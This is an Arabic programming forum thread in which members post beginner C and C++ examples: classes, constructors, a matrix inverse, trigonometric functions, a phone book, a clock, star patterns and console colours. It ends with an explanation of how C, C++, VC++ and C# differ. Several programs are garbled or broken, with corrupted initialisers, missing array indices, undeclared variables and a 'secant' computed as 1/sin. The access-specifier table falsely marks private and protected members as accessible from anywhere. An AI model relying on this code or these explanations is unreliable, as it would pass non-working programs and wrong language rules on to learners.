address & operator=(address & Fromobj) { 
Data=Fromobj.Data; 
return *this; 
} 
int Display() { 
return Data; 
} 
}; 

void main() { 
int x; 
clrscr(); 
cout<<"Enter the object Data "; 
cin>>x; 
address First(x); 
address Second; 
Second=First; 
cout<<"First object data "<<First.Display(); 
cout<<endl; 
cout<<"Second object data "<<Second.Display(); 
getch(); 
}

***************************

اذا هناك شخص يريد ان يقدم مشروع في الclass ممكن ان يقدم هذا البرنامج

#include<iostream.h> 
#include<conio.h> 
#include<graphics.h> 
#include<dos.h> 
class matrix { 
private: 
double mvA,mvB,mvC,mvD; 
public: 
matrix(double a=0,double b=0,double c=0,double d=0) 
:mvA(a),mvB(B),mvC©,mvD(d){} 
matrix(const matrix & m) //using the copy constructor { 
mvA=m.mvA; 
mvB=m.mvB; 
mvC=m.mvC; 
mvD=m.mvD; 
} 
double Determinant() { 
return mvA*mvD - mvB*mvC; 
} 
int IsSingular() { 
return Determinant()==0; 
} 
~matrix() {} 
matrix inverse(); 
void print(); 
}; 
matrix matrix::inverse() { 
double k=1/Determinant(); 
matrix Temp (k*mvD,-k*mvB,-k*mvC,k*mvA); 
return Temp; 
} 
void matrix::print() { 
delay(1000); 
cout<<" | "<<mvA<<" "<<mvB<<" |"<<endl; 
cout<<" | "<<mvC<<" "<<mvD<<" |"<<endl; 
} 

main() { 
clrscr(); 
int x=DETECT,y; 
initgraph(&x,&y,""); 
matrix matone; 
int a,b,c,d; 
settextstyle(1,0,3); 
outtextxy(10,10,"The first matrix is"); 
gotoxy(2,5); 
matone.print(); 
gotoxy(2,8); 
cout<<"Enter the matrix \n"; 
gotoxy(2,9); 
delay(500); 
cout<<"a "; 
delay(500); 
cout<<"is "; 
delay(500); 
cout<<"-> "; 
cin>>a; 
gotoxy(2,10); 
delay(500); 
cout<<"b "; 
delay(500); 
cout<<"is "; 
delay(500); 
cout<<"-> "; 
cin>>b; 
gotoxy(2,11); 
delay(500); 
cout<<"c "; 
delay(500); 
cout<<"is "; 
delay(500); 
cout<<"-> "; 
cin>>c; 
gotoxy(2,12); 
delay(500); 
cout<<"d "; 
delay(500); 
cout<<"is "; 
delay(500); 
cout<<"-> "; 
cin>>d; 
matrix mattwo(a,b,c,d); 
gotoxy(2,13); 
cout<<"The second matrix is \n"; 
mattwo.print(); 
gotoxy(2,16); 
cout<<"The determinant of second matix = "<<mattwo.Determinant(); 
matrix matthree(mattwo.inverse()); 
cout<<"\n\n The inverse of the third matrix is \n"; 
matthree.print(); 
getch(); 
}

**********************

constructor -destructor

#include<iostream.h> 
#include<conio.h> 
typedef int i; 
typedef float f; 
class building { 
private: 
i height; 
f area; 
static i number; 
public: 
// constructor - destructor 
building(); 
~building(); 
void setdata(int); 
int showdata(); 
}; 

building ::building():height(10),area(50.5) { 
//display then increment static member 
cout<<"\n Constructor building object number "<<++(this->number)<<endl; 
} 
building::~building() { 
//display the decrement static member 
cout<<"\n Destructing building object number "<<(this->number)--<<"\n"; 
} 
void building::setdata(int h) { 
height=h; 
} 
int building::showdata() { 
return height; 
} 

//initialize the static data member globally 
int building::number=0; 
void main() { 
clrscr(); 
building *house1=new building; 
building *house2=new building; 
building *house3=new building; 
delete house1; 
delete house2; 
delete house3; 
getch(); 
}

********************************

اخراج الوقت

#include<iostream.h> 
#include<conio.h> 
class clock { 
//private data 
int hour, min,second; 
public: 
clock(int H,int M,int S) { 
hour=H; 
min=M; 
second=S; 
} 
int clockhour() { 
return hour; 
} 
}; 
class time { 
//class time to exercise class clock 
clock *timeobject; 
int thetime; 
public: 
time (int x,int y,int z) { 
timeobject=new clock(x,y,z); 
thetime=timeobject->clockhour(); 
} 
int clocktime() { 
return thetime; 
} 
}; 

main() { 
clrscr(); 
time thetime(99,88,77); 
cout<<"\n It is "<<thetime.clocktime()<<" hour \n"; 
getch(); 
return 0; 
}

**********************
للمبتدئين 

#include<iostream.h> 
class building { 
private: 
int height; 
float area; 
public: 
void setdata(int h) { 
height=h; 
} 
int showdata(); 
}; 
int building :: showdata() { 
return height; 
} 
void main() { 
building house1,house2; 
house1.setdata(1066); 
house2.setdata(2000); 
cout<<house1.showdata(); 
cout<<house2.showdata(); 
}

**************

للمبتدئين

#include<iostream.h> 
#include<conio.h> 
class building { 
private: 
int height; 
float area; 
public: 
bilding() { 
height=10; 
area=50; 
} 
~building(){} 
void setdata(int h,float a) { 
height=h; 
area=a; 
} 
void showdata() { 
cout<<"Its height is "<<height<<endl; 
cout<<"Its area is "<<area<<endl; 
} 
}; 

void main() { 
clrscr(); 
building house1,house2; 
house1.showdata(); 
house1.setdata(50,255); 
house1.showdata(); 
house2.showdata(); 
}

************************

برنامج ممتاز يحسب sine و cosine و tangent و secant عبر الclass

#include<iostream.h> 
#include<conio.h> 
#include<math.h> 
const double Deg_to_Rad=0.0174532925; 
class TrigonoDegree { 
double Angle; 
public: 
void set_value(double); 
double get_value(); 
double get_sine(void); 
double get_cosine(void); 
double get_tangent(void); 
double get_secant(void); 
}; 
void TrigonoDegree::set_value(double angle) { 
Angle=angle; 
} 
double TrigonoDegree::get_value() { 
return Angle; 
} 
double TrigonoDegree::get_sine(void) { 
double answer; 
answer=sin(Angle *Deg_to_Rad); 
return (answer); 
} 
double TrigonoDegree::get_cosine(void) { 
double answer; 
answer=cos(Angle *Deg_to_Rad); 
return (answer); 
} 
double TrigonoDegree::get_tangent(void) { 
double answer; 
answer=tan(Angle *Deg_to_Rad); 
return (answer); 
} 
double TrigonoDegree::get_secant(void) { 
double answer; 
answer=1.0/sin(Angle *Deg_to_Rad); 
return (answer); 
} 

main() { 
clrscr(); 
int x; 
TrigonoDegree TriObject; 
textcolor(4); 
cprintf("Enter the angle to recieve its values "); 
cin>>x; 
TriObject.set_value(x); 
cout<<"The sine of the angle "<<TriObject.get_value()<<" is "<<TriObject.get_sine()<<endl; 
cout<<"The cosine of the angle "<<TriObject.get_value()<<" is "<<TriObject.get_cosine()<<endl; 
cout<<"The tangent of the angle "<<TriObject.get_value()<<" is "<<TriObject.get_tangent()<<endl; 
cout<<"The secant of the angle "<<TriObject.get_value()<<" is "<<TriObject.get_secant()<<endl; 
getch(); 
}

******************************

((((((((((مع تحيات:::)))))))

مع الملك المدمر

تم تعديل هذه المشاركة بواسطة walcom في 7 مارس 2005 في 10:11

#14

السلام عليكم

تفضلوا هذا الموقع ::http://alhasebat.com/collage/c/indexofc.htm

به دروس مفيده باللغه العربيه للمبتدئين ..

مع الملك المدمر

mido_hack_2003@hotmail.com

#15

كود برنامج ....دليل تلفون...بحاجة إلى تكملة

عندي الأضافة والحذف والتعديل والخروج الباقي وهو ضروري جداً((البحث وعرض الكل )) وبدل من ان تكون الخيارات من1.....4 تكون من 1........6

ولكم جزيل الشكر

#include<iostream.h> 
#include<string.h> 
//***************** telephone book **************** 
class tel { 
public : 
int number; 
char name[100]; 
void set(int nu,char* na); 
void get(); 
}; 

void tel::set(int nu,char* na) { 
number=nu; 
strcpy(name,na); 
} 

void tel::get() { 
cout<<number<<endl; 
cout<<name<<endl; 
cout<<"*******************\n"; 
} 

//******************* الاجراءت ********************** 

void add(int nu ,char* na); 
void delet(int nu); 
void edit(int nu); 
void display(); 

//************************************************** 

int counter=0; 
tel e[1000]; 

//************************************************** 
main() { 

int nmb; 
char nam[100]; 
int choice; 
while (true) { 
cout<<"\n\n*****Enter your choice (1.....4)*****\n\n"; 

cout<<"\t1. Add telephone number .\n"; 
cout<<"\t2. Delete telephone number .\n"; 
cout<<"\t3. Edit telephone number .\n"; 
cout<<"\t4. Exit .\n\n"; 

cout<<"your choice : "; 
cin>>choice; 

switch (choice ) { 
case 1: 
cout<<"\nEnter name \n"; 
cin>>nam; 
cout<<"Enter telephone number \n"; 
cin>>nmb; 
add(nmb,nam); 
break; 

case 2: 
cout<<"\nEnter telephone number \n"; 
cin>>nmb; 
delet(nmb); 
break; 

case 3: 
cout<<"\nEnter telephone number \n"; 
cin>>nmb; 
edit(nmb); 
break; 

case 4: 
return 0; 

default: 
cout<<"Enter true choice \n"; 
break; 
} 
} 
return 0; 

} 
//*****************تعريف الاجراءت ******************** 

void add(int nu ,char* na ) { 
e[counter].set(nu , na); 
counter++; 
} 

//*********************************************** 
void delet(int nu) { 
int w=0; 
for (int i=0;i<counter;i++) { 
if(e.number==nu) { 
for(int j=i+1;j<counter;j++) { 
e.number=e[j].number; 
strcpy(e.name,e[j].name); 
} 
counter--; 
w=1; 
} 
} 
if (w==0) { 
cout<<"\n no number \n\n"; 
} 
} 

//******************************************** 
void edit(int nu) { 
int c=0; 
int nmb; 
char nam[100]; 


for (int i=0;i,counter;i++) { 
if(e.number==nu) { 
for(int j=i+1;j<counter;j++) { 
cout<<"\n old number \n"; 
e.get(); 
cout<<"Enter new number \n"; 
cout<<"Enter number \n"; 
cin>>nmb; 
cout<<"Enter name \n"; 
cin>>nam; 
e.number=nmb; 
strcpy(e.name,nam); 

} 

c=1; 
} 
} 
if (c==0) { 
cout<<"\n no number \n\n"; 
} 
}

*******************************

مع تحيات الملك المدمر

تم تعديل هذه المشاركة بواسطة walcom في 7 مارس 2005 في 10:13

#16

تشكر جزيلا ياملك :) دروسك ممتازة وكثيرة جدا ,, عيني عليك باردة ,, لو نظمتها قليلا صدقني ستكون روعة وستضاف مباشرة لأهم مواضيع القسم ,, فقط القليل من النظام ,, وكل شيء سيكون رائع ,,

وتشكر مرة أخرى ,, ورينا همتك :)

banner_60_468.gif

NOTHING IS IMPOSSIBLE

#17

هذا كود ساعه بسيط

#include<stdio.h> 
#include<conio.h> 
#include <dos.h> 
main() { 
int h,m,s,n; 
clrscr(); 
for(h=0;h<=24;++h) 
for(m=0;m<=59;++m) 
/*You can delete for(m=0;m<=59;++m) and put if(m<=59) m++;*/ 
for(s=0;s<=59;++s) 
for(n=0;n<=10;++n){
 printf("%d : %d : %d : %d" ,h,m,s,n); 
delay(90); 
clrscr(); 
gotoxy(35, 12); 
if(h==24) 
h=0; 
} 
getch(); 
return 0; 
}

تم تعديل هذه المشاركة بواسطة walcom في 7 مارس 2005 في 10:16

#18

برنامج بلغة c لحل أسئلة عمليات الصف البسيط (السمبلكس)

معلش شباب ممكن أحكي مرحبا

لو سمحتو أريد مساعدة عاجلة

اريد برنامج بلغة c يعمل على حل أسئلة عمليات الصف البسيط (السمبلكس) وسوف اكتب سؤال كمثال :

مستخدما طريقة السمبلكس حل المسألة التالية :

Max z = 3x1 - 4x2 + x3

s.t.

2x1 + 3x2 – 2x3 ≤ 8

2x1 – 3x2 + x3 ≤ 12

X1,x2,x3 ≥ 0

فارجوا المساعدة وشكرا

#19
اقتباس
إخواني أعضاء منتدى في بي زوم حرصاً من إدارة المنتدى

???????????????

#20

نجوم

هذا البرنامج يطبع في الشاشة شكل نجوم غير عادي

#include<stdio.h> 
#include<conio.h> 
#include<dos.h> 
main() {
int i,j=1,k=0 ,n; 
clrscr(); 
printf("please entar the numbar ="); 
scanf("%d",&n ); 
for(i=n;i>=0;i--){ 
printf("\n"); 
for(j=1;j<=i;j++) { 
printf(" ");} 
delay(60); 
k+=2; 
for(j=1;j<k;j++ ){ 
printf("*");} 
} 
for(i=0;i<=n;i++){ 
printf("\n"); 
for(j=0;j<=i;j++) { 
printf(" ");} 
delay(60); 
k-=2; 
for(j=1;j<k;j++ ) 
printf("*"); 
} 
getch(); 
}

كود

مع الملك المدمر نجوم

تم تعديل هذه المشاركة بواسطة walcom في 7 مارس 2005 في 10:19

#21

كود برنامج في C++ يقوم بطباعة الأعداد الأولية

السلام عليكم ورحمة الله وبركاته

أحببت أن أزودكم بهذا الكود الذي يقوم بطباعة الأعداد الأولية من 1 وحتى العدد الذي تدخله له انت

والكود هو

#include<iostream.h> 
#include<conio.h> 
void main(void) { 
clrscr(); 
int x,a; 
cout<<1; 
cout<<2<<endl; 
for(x=3; x<=b; x++) { 
for(a=x-1; a<1; a--) 
if(x%a==0) 
a=1; 
if(a!=0) 
cout<<x<<endl; 
} 
}

تم تعديل هذه المشاركة بواسطة walcom في 7 مارس 2005 في 10:19

#22

تعلم كيف تغير لون الخلفية والكتابة في لغة الـ ++C

اولا: دالة تغيير لون الكتابة:

وتستخدم لتغيير لون الكتابة التي ستطبع بعد هذه الدالة وتأخذ الصيغة:

;(textcolor(color number 
OR 
;(textcolor(color name

ويتم تحديد اللون أما بالرقم او بالإسم .

كما هو موضح في الأسفل

كود:

أسود BLACK 0

أزرق BLUE 1

أخضر GREEN 2

سماوي CYAN 3

أحمر RED 4

بنفسجي MAGENTA 5

بني BROWN 6

رمادي فاتح LIGHT GRAY 7

رمادي غامق DARK GRAY 8

أزرق فاتح LIGHT BLUE 9

أخضر فاتح LIGHT GREEN 10

سماوي فاتح LIGHT CYAN 11

أحمر فاتح LIGHT RED 12

بنفسجي فاتح LIGHT MAGENTA 13

أصفر YELLOW 14

أبيض WHITE 15

لكن يجب أن نتتبه أنه مع هذه الدوال يجب أن تستخدم

cprintf بدل printf

ونستبدل علامة سطر جديد New Line

' n\ ' مكان ' r\n\ '

الأن شوف البرنامج بيشتغل الزاي :

#include<iostream.h> 
#include<conio.h> 
main() { 
clrscr(); 
textcolor(2); <-------------------- قم بتغيير رقم اللون المراد 
cprintf("VBZooM IS THE BEST"); 
getch(); 
}

تانياً : دوال تغيير لون الخلفية:

وتستخدم لتغيير لون الخلفية للبرنامج وتأخذ الصيغة :

;(textbackground(color number 
OR 
;(textbackground(color name

(( إقراً الكلام التالي بتمعن )))

ملاحظة أن هذه الدالة لا تأخذ غير الألوان من الرقم 1 إلى 7

ومعاملاتها هي نفس معاملات الـ textcolor

المذكورين في الأعلى.

و تستبدل جميع دوال الإدخال و الإخراج عند إستخدام الالوان من صيغتها الطبيعية إلى صيغتها مسبوقة بالحرف c المأخوذ من color .

لذا تصبح الــ cscanf <---- scanf.

ملاحظة:

إذا إستخدمة الدالة textbackground لتحديد لون لخلفية و أتبعتها بالدالة clrscr سيتم مسح الشاشة باللون الذي تم تحديدة .

أما إذا لم تستخدم الدالة clrscr فإن لون الخلفية سيخصص للكلمات التي تكتب فقط بينما يبقى لون الشاشه كما هو .

وأذكر أن جميع هذه الدوال تندرج تحت الهيدر فايل conio.h

شوف البرنامج

#include<iostream.h> 
#include<conio.h> 
main() { 
textbackground(1); 
clrscr(); 
cprintf("VBZooM IS THE BEST"); 
getch(); 
}

إذا قمت بتغيير

;()clrsce

مكان

;(2)textbackground

ماذا سيحصل ؟؟؟؟

ببساطة لن تتطبق الخلفية الجديدة الا على النص نفسة

(( اي فقط المكان الذي فية كتابة ستكون الخلفية تحتة ))

#include<iostream.h> 
#include<conio.h> 
main() { 
clrscr(); 
textbackground(1); 
cprintf("VBZooM IS THE BEST"); 
getch(); 
}

تم تعديل هذه المشاركة بواسطة walcom في 7 مارس 2005 في 10:18

#23

شباب ميخالف ابي برنامج++ microsoft visual basic c

شباب ميخالف ابي برنامج++ microsoft visual basic

لاني تعبت وانا ادورة في النت مو محصلة

او

برنامج

++borland c

ممكن تثبتونهم في الموقع لكي تعم الفائدة

#25

ما الفرق بين لغات C و ++C و ++VC و #C ؟؟ ... إذخل لتعرف ...

بالنسبه للسي و السي ++ لا يوجد فرق كبير بينهم ,

بمعنى وجهين لعملة واحدة .....

وشوف إنت العملة ستجد ان الوجهين بنفس المقاس

والمساحة والقطر واحد لكن

توجد إختلافات من حيث النقوش المرسومة .....

بالنسبة للسي فهي لغة بنائية تستخدم في برمجة

أنظمة التشغيل وجميع البرامج

لكنها قوية في مجال برمجة الأنظمة "الأجهزة"

اما ال ++C هي فقط تطوير ل C حيث اضيف

لها قدرة التعامل مع الكائنات والبرمجة الموجهة

وكذلك السي ++ متطوره أكثر في موضوع

(Object Oriented Programming) .....

((((( إذا استطيع أقول أن لغة ++c تحتوي لغة c )))))

أما ++VC فهي تطوير من مايكروسوفت على ++C حتى تصبح

قادرة على عمل برامج لويندوز.....

بالنسبة لل C# فهي لغة تستخدم GUI و WYSIWYG وغيرها

وهو لغة جديدة من عائلة الدوت نت.....

أسهل لغات البرمجة طبعاً هي التي تعتمد البيئة الرسومية

بعكس السي والسي++ والفيجوال سي (صعبة شوي )

فأنا أنصحك إذا كنت تريد أن لا تمل البرمجة وخصوصاً

إذا كنت مبتدء فعليك بلغة (( الفيجوال بيسك ))

ملاحظة : هذا لا يقلل من مكانة لغات السي خصوصاً أن

أغلب الجامعات العربية تقوم بتدريسها قبل الفيجوال بيسك كأساس ...

مميزات لغة C++ عن لغة C:

تدعم لغة C++ أسلوب برمجة الكائنات الموجهة وبالإضافة لذلك تمتاز لغة C++ بالعديد من المزايا والتي سنتناولها فيما يلي بشيء من التفصيل.

المزيد من الحرية في الإعلان عن البيانات :

في لغة C يشترط الإعلان عن المتغيرات في مستهل البرنامج، وعند الحاجة لمتغير جديد لابد من الرجوع لأول البرنامج و الإعلان عنه.

ومع لغة C++ ينتفي هذا الشرط إذ يتمكن المبرمج من تعريف المتغيرات وقت الحاجة إليها وفي أي مكان.

حيث يعطى اسم الفصيلة بعد الكلمة المحجوزة ( class )ويتوالى بعد ذلك تعريف البيانات والدوال.

تحديد درجة حماية البيانات :

تتيح لغة C++ تحديد درجات لحماية البيانات وذلك على مستوى الفصيلة، وتتحدد درجة الحماية باستخدام الكلمات ( public , private , protected ) ويوضح الجدول التالي درجات الحماية المختلفة

محدد الحماية___متاح لنفس الفصيلة___متاح للفصائل المشتقة___متاح للكائنات من فصائل أخرى

public_____________نعم_______________نعم_________________نعم

protected__________نعم_______________نعم_________________نعم

private____________نعم_______________نعم_________________نعم

و بالتقدم في البرمجة سنألف استخدام محددات الحماية، وسنتعرض لها بشيء من التفصيل عند الحديث عن الفصائل والكائنات.

دوال البناء والهدم ( constructors and destructors ):

كما ذكرنا سابقا فالفصيلة تتكون من بيانات و دوال تتعامل مع هذه البيانات، وتتيح لغة C++ للمبرمج أن ينشئ دالتين خاصتين تسمى إحداهما دالة البناء ( constructor ) وهي دالة تنفذ تلقائيا عند الإعلان عن كائن من هذه الفصيلة. وتظهر فائدة هذه الدالة عندما نرغب في تخصيص قيم ابتدائية لبيانات الفصيلة.

أما الدالة الأخرى فهي دالة الهدم ( destructor ) وتنفذ تلقائيا عند انتهاء استخدام الفصيلة وتستخدم هذه الدالة لتحرير أجزاء من الذاكرة كنا نستخدمها أثناء استعمال الفصيلة ولم نعد بحاجة إليها، أو لتنفيذ سطور معينة عند الانتهاء من استخدام الفصيلة.

ودالة البناء تحمل نفس اسم الفصيلة، فمثلا لو كان اسم الفصيلة ( Ball) كانت دالة البناء تحمل الاسم ( Ball ).

أما دالة الهدم فتأتي بنفس اسم الفصيلة مسبوقا بالعلامة( ~ ) فللفصيلة السابقة دالة الهدم تحمل الاسم ( ~Ball ).

التوريث ( Inheritance) :

من أقوى خصائص برمجة الكائنات الموجهة خاصية التوريث. ونعني هنا توريث فصيلة إلى فصيلة أخرى.

وهنا ترث الفصيلة المشتقة ( derived class ) من الفصيلة الأساسية ( parent class) كل بياناتها ودوالها ويمكن التعديل بعد ذلك في خصائص الفصيلة المشتقة لتناسب الاحتياجات الجديدة، بإضافة المزيد من البيانات والدوال.

وبذلك نجد أن برمجة الكائنات الموجهة تعفي المبرمج من إعادة بناء البرامج من الصفر بل يعتمد على ما سبق لإنجاز البرامج الجديدة، فتمكنه من استخدام الفصائل السابقة و عمل فصائل جديدة للاستفادة منها مستقبلا.

الدوال الصديقة( friend functions ):

عندما تعلن فصيلة عن دالة صديقة أو عدة دوال صديقة فإنها تسمح لهذه الدوال باستعمال البيانات الأعضاء فيها ولا تسمح لغير هذه الدوال بذلك.

وكذلك الحال عندما تعلن فصيلة عن فصيلة صديقة، فإنها تسمح لجميع دوال الفصيلة الصديقة باستخدام بيانات الفصيلة الأساسية.

هذا الموضوع مغلق.

مواضيع مشابهة